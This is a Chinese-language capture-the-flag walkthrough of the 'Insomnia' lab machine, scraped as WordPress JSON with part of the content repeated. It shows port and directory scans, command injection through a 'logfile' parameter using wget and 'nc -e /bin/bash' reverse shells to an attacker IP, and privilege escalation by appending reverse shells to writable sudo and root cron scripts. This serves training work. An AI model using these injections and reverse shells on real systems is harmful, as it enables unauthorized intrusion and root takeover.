![\"image-20240424123437870\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459602.png\")
<\/div><\/p>\n![\"image-20240424141353134\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459604.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ sudo nmap -sS 192.168.0.132\nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-24 02:13 EDT\nNmap scan report for insomnia (192.168.0.132)\nHost is up (0.000056s latency).\nNot shown: 999 closed tcp ports (reset)\nPORT STATE SERVICE\n8080\/tcp open http-proxy\nMAC Address: 08:00:27:D5:4B:28 (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 0.29 seconds\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ rustscan -a 192.168.0.132 -- -A\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nNmap? More like slowmap.\ud83d\udc22\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.132:8080\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-24 02:14 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nInitiating Ping Scan at 02:14\nScanning 192.168.0.132 [2 ports]\nCompleted Ping Scan at 02:14, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 02:14\nCompleted Parallel DNS resolution of 1 host. at 02:14, 0.11s elapsed\nDNS resolution of 1 IPs took 0.11s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 02:14\nScanning insomnia (192.168.0.132) [1 port]\nDiscovered open port 8080\/tcp on 192.168.0.132\nCompleted Connect Scan at 02:14, 0.00s elapsed (1 total ports)\nInitiating Service scan at 02:14\nScanning 1 service on insomnia (192.168.0.132)\nCompleted Service scan at 02:14, 6.16s elapsed (1 service on 1 host)\nNSE: Script scanning 192.168.0.132.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.08s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNmap scan report for insomnia (192.168.0.132)\nHost is up, received conn-refused (0.00036s latency).\nScanned at 2024-04-24 02:14:08 EDT for 6s\n\nPORT STATE SERVICE REASON VERSION\n8080\/tcp open http syn-ack PHP cli server 5.5 or later (PHP 7.3.19-1)\n|_http-title: Chat\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-open-proxy: Proxy might be redirecting requests\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 6.58 seconds<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ sudo dirsearch -u http:\/\/192.168.0.132:8080\/ -e* -i 200,300-399 2>\/dev\/null\n[sudo] password for kali: \n\n _|. _ _ _ _ _ _|_ v0.4.3\n (_||| _) (\/_(_|| (_| )\n\nExtensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594\n\nOutput File: \/home\/kali\/temp\/Insomnia\/reports\/http_192.168.0.132_8080\/__24-04-24_02-17-19.txt\n\nTarget: http:\/\/192.168.0.132:8080\/\n\n[02:17:19] Starting: \n[02:17:33] 200 - 65B - \/administration.php\n[02:17:39] 200 - 2KB - \/chat.js\n[02:18:08] 200 - 20B - \/start.sh\n\nTask Completed<\/code><\/pre>\n\u6f0f\u6d1e\u5229\u7528<\/h2>\n\u8e29\u70b9<\/h3>\n
![\"image-20240424141615398\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div>
\n<\/div><\/p>\n\u5c1d\u8bd5\u5199\u4e00\u4e2a\u4fe1\u606f\uff1a<\/p>\n
<\/div><\/p>\n\u563f\u563f\uff0c\u6ca1\u53cd\u5e94<\/p>\n
\u654f\u611f\u76ee\u5f55<\/h3>\nhttp:\/\/192.168.0.132:8080\/administration.php<\/code><\/pre>\nYou are not allowed to view :\nYour activity has been logged<\/code><\/pre>\nhttp:\/\/192.168.0.132:8080\/chat.js<\/code><\/pre>\nvar instanse = false;\nvar state;\nvar mes;\nvar file;\n\nfunction Chat () {\n this.update = updateChat;\n this.send = sendChat;\n this.getState = getStateOfChat;\n}\n\nfunction getStateOfChat(){\n if(!instanse){\n instanse = true;\n $.ajax({\n type: "POST",\n url: "process.php",\n data: { \n 'function': 'getState',\n 'file': file\n },\n dataType: "json",\n\n success: function(data){\n state = data.state;\n instanse = false;\n },\n });\n } \n}\n\nfunction updateChat(){\n if(!instanse){\n instanse = true;\n $.ajax({\n type: "POST",\n url: "process.php",\n data: { \n 'function': 'update',\n 'state': state,\n 'file': file\n },\n dataType: "json",\n success: function(data){\n if(data.text){\n for (var i = 0; i < data.text.length; i++) {\n $('#chat-area').append($("<p>"+ data.text[i] +"<\/p>"));\n } \n }\n document.getElementById('chat-area').scrollTop = document.getElementById('chat-area').scrollHeight;\n instanse = false;\n state = data.state;\n },\n });\n }\n else {\n setTimeout(updateChat, 1500);\n }\n}\n\nfunction sendChat(message, nickname)\n{ \n updateChat();\n $.ajax({\n type: "POST",\n url: "process.php",\n data: { \n 'function': 'send',\n 'message': message,\n 'nickname': nickname,\n 'file': file\n },\n dataType: "json",\n success: function(data){\n updateChat();\n },\n });\n}<\/code><\/pre>\nhttp:\/\/192.168.0.132:8080\/start.sh<\/code><\/pre>\nphp -S 0.0.0.0:8080<\/code><\/pre>\nhttp:\/\/192.168.0.132:8080\/process.php<\/code><\/pre>\n[]<\/code><\/pre>\nFUZZ<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ wfuzz -w \/usr\/share\/wfuzz\/wordlist\/general\/common.txt --hh 65 'http:\/\/192.168.0.132:8080\/administration.php?FUZZ=test'\n \/usr\/lib\/python3\/dist-packages\/wfuzz\/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.\n********************************************************\n* Wfuzz 3.1.0 - The Web Fuzzer *\n********************************************************\n\nTarget: http:\/\/192.168.0.132:8080\/administration.php?FUZZ=test\nTotal requests: 951\n\n=====================================================================\nID Response Lines Word Chars Payload \n=====================================================================\n\n000000485: 200 2 L 12 W 69 Ch "logfile" \n\nTotal time: 2.832341\nProcessed Requests: 951\nFiltered Requests: 950\nRequests\/sec.: 335.7646<\/code><\/pre>\n\u770b\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\nhttp:\/\/192.168.0.132:8080\/administration.php?logfile=test;wget%20http:\/\/192.168.0.143:8888\/test<\/code><\/pre>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ python3 -m http.server 8888\nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n192.168.0.132 - - [24\/Apr\/2024 02:46:04] "GET \/test HTTP\/1.1" 200 -\n192.168.0.132 - - [24\/Apr\/2024 02:46:24] "GET \/test HTTP\/1.1" 200 -<\/code><\/pre>\n\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u5c1d\u8bd5\u53cd\u5f39shell\uff01<\/p>\n
http:\/\/192.168.0.132:8080\/administration.php?logfile=test;nc%20-e%20\/bin\/bash%20192.168.0.143%201234<\/code><\/pre>\n<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u5199\u5165\u53cd\u5f39shell\u63d0\u6743<\/h3>\n
\u53d1\u73b0sudo\u7684\u6587\u4ef6\u5177\u6709\u5199\u5165\u6743\u9650\uff0c\u4ee5julia<\/code>\u6267\u884c\u53cd\u5f39shell\uff01<\/p>\n(remote) www-data@insomnia:\/var\/www\/html$ sudo -l\nMatching Defaults entries for www-data on insomnia:\n env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser www-data may run the following commands on insomnia:\n (julia) NOPASSWD: \/bin\/bash \/var\/www\/html\/start.sh\n(remote) www-data@insomnia:\/var\/www\/html$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n(remote) www-data@insomnia:\/var\/www\/html$ ls -l \/var\/www\/html\/start.sh\n-rwxrwxrwx 1 root root 20 Dec 21 2020 \/var\/www\/html\/start.sh\n(remote) www-data@insomnia:\/var\/www\/html$ echo 'nc -e \/bin\/bash 192.168.0.143 2345' >> \/var\/www\/html\/start.sh\n(remote) www-data@insomnia:\/var\/www\/html$ sudo -u julia \/bin\/bash \/var\/www\/html\/start.sh\n[Wed Apr 24 02:50:22 2024] Failed to listen on 0.0.0.0:8080 (reason: Address already in use)\nstty: 'standard input': Inappropriate ioctl for device\nbash: line 12: ifconfig: command not found<\/code><\/pre>\n\u5b9a\u65f6\u4efb\u52a1\u53cd\u5f39shell<\/h3>\n
\u540c\u6837\u53d1\u73b0root<\/code>\u7684\u5b9a\u65f6\u4efb\u52a1\u5177\u6709\u5199\u5165\u6743\u9650\uff0c\u6545\u5199\u5165\u53cd\u5f39shell\uff01<\/p>\n(remote) julia@insomnia:\/home\/julia$ ls -la\ntotal 32\ndrwxrwxr-x 3 julia julia 4096 Dec 21 2020 .\ndrwxr-xr-x 3 root root 4096 Dec 15 2020 ..\n-rw------- 1 julia julia 379 Dec 21 2020 .bash_history\n-rw-r--r-- 1 julia julia 220 Nov 30 2020 .bash_logout\n-rw-r--r-- 1 julia julia 3526 Nov 30 2020 .bashrc\ndrwxr-xr-x 3 julia julia 4096 Dec 21 2020 .local\n-rw-r--r-- 1 julia julia 807 Nov 30 2020 .profile\n-rw-r--r-- 1 julia julia 86 Dec 15 2020 user.txt\n(remote) julia@insomnia:\/home\/julia$ cat user.txt \n\n~~~~~~~~~~~~~\\\nUSER INSOMNIA\n~~~~~~~~~~~~~\nFlag : [c2e285cb33cecdbeb83d2189e983a8c0]\n(remote) julia@insomnia:\/home\/julia$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/ping = cap_net_raw+ep\n(remote) julia@insomnia:\/home\/julia$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\njulia:x:1000:1000:julia,,,:\/home\/julia:\/bin\/bash\n(remote) julia@insomnia:\/home\/julia$ cat \/etc\/shadow\ncat: \/etc\/shadow: Permission denied\n(remote) julia@insomnia:\/home\/julia$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# | .------------- hour (0 - 23)\n# | | .---------- day of month (1 - 31)\n# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...\n# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# | | | | |\n# * * * * * user-name command to be executed\n17 * * * * root cd \/ && run-parts --report \/etc\/cron.hourly\n25 6 * * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n47 6 * * 7 root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n52 6 1 * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )\n* * * * * root \/bin\/bash \/var\/cron\/check.sh\n#\ncat: \/etc\/cron.weekly: Is a directory\n(remote) julia@insomnia:\/home\/julia$ cat \/var\/cron\/check.sh\n#!\/bin\/bash\nstatus=$(systemctl is-active insomnia.service)\nif [ "$status" == "active" ]; then\n echo "OK"\nelse\n systemctl start insomnia.service\nfi\n(remote) julia@insomnia:\/home\/julia$ ls -l \/var\/cron\/check.sh\n-rwxrwxrwx 1 root root 153 Dec 21 2020 \/var\/cron\/check.sh\n(remote) julia@insomnia:\/home\/julia$ echo 'nc -e \/bin\/bash 192.168.0.143 3456' >> \/var\/cron\/check.sh<\/code><\/pre>\n\u7136\u540e\u76d1\u542c\u7b49\u5f85\u53cd\u5f39shell\u5373\u53ef\uff01<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ sudo pwncat-cs -lp 3456 2>\/dev\/null\n[02:53:10] Welcome to pwncat \ud83d\udc08!\n(remote) root@insomnia:\/root# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)\n(remote) root@insomnia:\/root# cd \/root\n(remote) root@insomnia:\/root# ls -la\ntotal 36\ndrwx------ 5 root root 4096 Dec 21 2020 .\ndrwxr-xr-x 18 root root 4096 Dec 21 2020 ..\n-rw------- 1 root root 1431 Dec 21 2020 .bash_history\n-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc\ndrwxr-xr-x 3 root root 4096 Dec 17 2020 .cache\ndrwx------ 3 root root 4096 Dec 17 2020 .gnupg\ndrwxr-xr-x 3 root root 4096 Nov 30 2020 .local\n-rw-r--r-- 1 root root 148 Aug 17 2015 .profile\n-rw------- 1 root root 112 Dec 15 2020 root.txt\n(remote) root@insomnia:\/root# cat root.txt \n\n~~~~~~~~~~~~~~~\\\nROOTED INSOMNIA\n~~~~~~~~~~~~~~~\nFlag : [c84baebe0faa2fcdc2f1a4a9f6e2fbfc]\n\nby Alienum with <3\n(remote) root@insomnia:\/root# cat .bash_history \nps aux\nps aux\nps aux\nps aux | grep root\nps aux | grep \/var\nps aux | grep -i "\/var"\ncrontab -l<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Insomnia \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia] \u2514\u2500$ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-622","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/622","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=622"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/622\/revisions"}],"predecessor-version":[{"id":623,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/622\/revisions\/623"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=622"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=622"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=622"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ sudo nmap -sS 192.168.0.132\nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-24 02:13 EDT\nNmap scan report for insomnia (192.168.0.132)\nHost is up (0.000056s latency).\nNot shown: 999 closed tcp ports (reset)\nPORT STATE SERVICE\n8080\/tcp open http-proxy\nMAC Address: 08:00:27:D5:4B:28 (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 0.29 seconds\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ rustscan -a 192.168.0.132 -- -A\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nNmap? More like slowmap.\ud83d\udc22\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.132:8080\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-24 02:14 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nInitiating Ping Scan at 02:14\nScanning 192.168.0.132 [2 ports]\nCompleted Ping Scan at 02:14, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 02:14\nCompleted Parallel DNS resolution of 1 host. at 02:14, 0.11s elapsed\nDNS resolution of 1 IPs took 0.11s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 02:14\nScanning insomnia (192.168.0.132) [1 port]\nDiscovered open port 8080\/tcp on 192.168.0.132\nCompleted Connect Scan at 02:14, 0.00s elapsed (1 total ports)\nInitiating Service scan at 02:14\nScanning 1 service on insomnia (192.168.0.132)\nCompleted Service scan at 02:14, 6.16s elapsed (1 service on 1 host)\nNSE: Script scanning 192.168.0.132.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.08s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNmap scan report for insomnia (192.168.0.132)\nHost is up, received conn-refused (0.00036s latency).\nScanned at 2024-04-24 02:14:08 EDT for 6s\n\nPORT STATE SERVICE REASON VERSION\n8080\/tcp open http syn-ack PHP cli server 5.5 or later (PHP 7.3.19-1)\n|_http-title: Chat\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-open-proxy: Proxy might be redirecting requests\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 02:14\nCompleted NSE at 02:14, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 6.58 seconds<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ sudo dirsearch -u http:\/\/192.168.0.132:8080\/ -e* -i 200,300-399 2>\/dev\/null\n[sudo] password for kali: \n\n _|. _ _ _ _ _ _|_ v0.4.3\n (_||| _) (\/_(_|| (_| )\n\nExtensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594\n\nOutput File: \/home\/kali\/temp\/Insomnia\/reports\/http_192.168.0.132_8080\/__24-04-24_02-17-19.txt\n\nTarget: http:\/\/192.168.0.132:8080\/\n\n[02:17:19] Starting: \n[02:17:33] 200 - 65B - \/administration.php\n[02:17:39] 200 - 2KB - \/chat.js\n[02:18:08] 200 - 20B - \/start.sh\n\nTask Completed<\/code><\/pre>\n\u6f0f\u6d1e\u5229\u7528<\/h2>\n\u8e29\u70b9<\/h3>\n
<\/div>
\n<\/div><\/p>\n\u5c1d\u8bd5\u5199\u4e00\u4e2a\u4fe1\u606f\uff1a<\/p>\n
<\/div><\/p>\n\u563f\u563f\uff0c\u6ca1\u53cd\u5e94<\/p>\n
\u654f\u611f\u76ee\u5f55<\/h3>\nhttp:\/\/192.168.0.132:8080\/administration.php<\/code><\/pre>\nYou are not allowed to view :\nYour activity has been logged<\/code><\/pre>\nhttp:\/\/192.168.0.132:8080\/chat.js<\/code><\/pre>\nvar instanse = false;\nvar state;\nvar mes;\nvar file;\n\nfunction Chat () {\n this.update = updateChat;\n this.send = sendChat;\n this.getState = getStateOfChat;\n}\n\nfunction getStateOfChat(){\n if(!instanse){\n instanse = true;\n $.ajax({\n type: "POST",\n url: "process.php",\n data: { \n 'function': 'getState',\n 'file': file\n },\n dataType: "json",\n\n success: function(data){\n state = data.state;\n instanse = false;\n },\n });\n } \n}\n\nfunction updateChat(){\n if(!instanse){\n instanse = true;\n $.ajax({\n type: "POST",\n url: "process.php",\n data: { \n 'function': 'update',\n 'state': state,\n 'file': file\n },\n dataType: "json",\n success: function(data){\n if(data.text){\n for (var i = 0; i < data.text.length; i++) {\n $('#chat-area').append($("<p>"+ data.text[i] +"<\/p>"));\n } \n }\n document.getElementById('chat-area').scrollTop = document.getElementById('chat-area').scrollHeight;\n instanse = false;\n state = data.state;\n },\n });\n }\n else {\n setTimeout(updateChat, 1500);\n }\n}\n\nfunction sendChat(message, nickname)\n{ \n updateChat();\n $.ajax({\n type: "POST",\n url: "process.php",\n data: { \n 'function': 'send',\n 'message': message,\n 'nickname': nickname,\n 'file': file\n },\n dataType: "json",\n success: function(data){\n updateChat();\n },\n });\n}<\/code><\/pre>\nhttp:\/\/192.168.0.132:8080\/start.sh<\/code><\/pre>\nphp -S 0.0.0.0:8080<\/code><\/pre>\nhttp:\/\/192.168.0.132:8080\/process.php<\/code><\/pre>\n[]<\/code><\/pre>\nFUZZ<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ wfuzz -w \/usr\/share\/wfuzz\/wordlist\/general\/common.txt --hh 65 'http:\/\/192.168.0.132:8080\/administration.php?FUZZ=test'\n \/usr\/lib\/python3\/dist-packages\/wfuzz\/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.\n********************************************************\n* Wfuzz 3.1.0 - The Web Fuzzer *\n********************************************************\n\nTarget: http:\/\/192.168.0.132:8080\/administration.php?FUZZ=test\nTotal requests: 951\n\n=====================================================================\nID Response Lines Word Chars Payload \n=====================================================================\n\n000000485: 200 2 L 12 W 69 Ch "logfile" \n\nTotal time: 2.832341\nProcessed Requests: 951\nFiltered Requests: 950\nRequests\/sec.: 335.7646<\/code><\/pre>\n\u770b\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\nhttp:\/\/192.168.0.132:8080\/administration.php?logfile=test;wget%20http:\/\/192.168.0.143:8888\/test<\/code><\/pre>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ python3 -m http.server 8888\nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n192.168.0.132 - - [24\/Apr\/2024 02:46:04] "GET \/test HTTP\/1.1" 200 -\n192.168.0.132 - - [24\/Apr\/2024 02:46:24] "GET \/test HTTP\/1.1" 200 -<\/code><\/pre>\n\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u5c1d\u8bd5\u53cd\u5f39shell\uff01<\/p>\n
